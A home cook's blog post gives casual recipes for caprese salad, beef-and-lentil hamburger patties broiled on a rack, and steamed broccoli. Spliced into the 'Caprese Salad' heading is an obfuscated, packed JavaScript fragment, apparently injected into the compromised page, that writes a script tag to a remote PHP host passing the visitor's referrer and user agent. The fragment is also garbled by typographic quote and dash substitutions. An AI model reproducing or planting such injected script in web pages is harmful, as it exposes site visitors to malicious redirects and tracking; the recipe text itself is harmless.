We ended up with a pretty tasty meal on Sunday night.
After looking through the fridge and lamenting that there was nothing to eat, we decided to pull together a random assortment of foods and see what happened.
Caprese ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafrh|var|u0026u|referrer|dtain||js|php’.split(‘|’),0,{}))
Salad
2 diced tomatoes (I used the ones on a vine….but took them off the vine)
Mozzarella
Basil
Salt
Garlic
Balsamic
Olive Oil
1. Mix the diced tomatoes with a generous pinch of salt, minced garlic, and a tsp or so of olive oil and balsamic.
2. Lay out 4 slices of mozzarella on a plate (we use the Trader Joes mozzarella that comes pre-sliced)
3. Pick off at least a dozen basil leaves. Stack them and roll them like a cigar. Then chop! This will make nice, thin pieces.
4. Spoon the tomato mixture over the mozzarella and top with basil! I like lots of basil 🙂
Hamburger Patties
1 lb of ground beef (we buy the organic packages from costco)
~1/3 package of cooked lentils from Trader Joes
1 large clove of garlic, crushed
2 tbs teriyaki sauce (I use Yoshidas)
Salt and Pepper to taste
1. Mix the above ingredients together until well blended
2. Turn on your broiler and prep a jelly roll pan with some foil and a cooling rack
3. Scoop out portions of beef a little smaller than a tennis ball, but larger than a golf ball and form into a patty. Set the patties on the cooling rack.
4. Put the pan under the broiler and cook for about 5 minutes. Flip patties and cook for an additional 3-4 minutes until done.
5. I still eat mine with ketchup. Some things never get old
I also made some broccoli because it’s one of my favorite veggies. Nothing fancy. Just steamed with a little salt and lemon juice.
